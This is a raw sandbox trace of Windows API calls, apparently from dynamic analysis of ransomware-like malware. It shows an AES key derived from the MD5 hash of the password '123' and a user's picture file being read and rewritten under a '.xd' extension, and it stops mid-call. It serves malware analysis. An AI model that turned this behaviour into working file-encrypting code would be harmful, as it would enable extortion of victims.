0 [0062.440] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.440] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0062.440] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.441] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0062.441] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.441] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.441] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0062.441] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.441] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.441] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.441] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.441] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.441] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0062.441] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0062.442] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0062.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0062.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0062.442] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0062.442] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9df0) returned 1 [0062.473] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 1 [0062.473] TranslateMessage (lpMsg=0x130ef0c) returned 0 [0062.473] DispatchMessageW (lpMsg=0x130ef0c) returned 0x0 [0062.473] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e570) returned 1 [0062.477] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0062.477] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0062.477] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.478] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.478] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0062.478] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.478] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.478] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.478] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.478] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.478] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.478] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.478] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.478] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.478] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.478] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.478] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.480] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0062.480] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.480] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.480] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.480] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.480] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.480] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.480] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.480] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.481] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.481] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.481] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.481] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.481] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.481] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.481] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.481] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.481] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.481] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.481] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214f8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0062.481] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0062.481] CryptCreateHash (in: hProv=0x17a9df0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0062.482] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.482] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.482] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.482] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0062.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0062.482] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0062.482] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0062.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0062.482] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.482] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.482] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.482] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0062.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16218d0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0062.483] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0062.483] CryptHashData (hHash=0x164c830, pbData=0x1629330, dwDataLen=0x3, dwFlags=0x1) returned 1 [0062.483] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.483] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.483] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.483] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.483] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.483] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.483] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.483] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0062.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216f0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0062.483] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0062.483] CryptDeriveKey (in: hProv=0x17a9df0, Algid=0x6610, hBaseData=0x164c830, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c2b0) returned 1 [0062.484] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.484] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.484] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.484] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.484] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.484] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.484] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0062.484] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0062.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0062.484] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0062.484] CryptDestroyHash (hHash=0x164c830) returned 1 [0062.484] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.484] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.484] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.484] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.484] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.485] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm\\gmrsq0jp-.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0062.485] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.485] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0062.485] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.485] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.485] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.485] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm")) returned 0x10 [0062.486] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm\\gmrsq0jp-.gif.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0062.486] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.486] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.486] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.486] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.488] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0062.489] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x534d, lpOverlapped=0x0) returned 1 [0062.506] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0062.508] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.509] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.509] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.509] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0062.509] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.509] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.509] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0062.509] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.509] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0062.509] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.509] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.509] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.509] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0062.509] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0062.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0062.510] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0062.510] CryptGetKeyParam (in: hKey=0x164c2b0, dwParam=0x7, pbData=0x16294a0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294a0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0062.510] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.510] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.510] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.510] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.510] PeekMessageW (in: 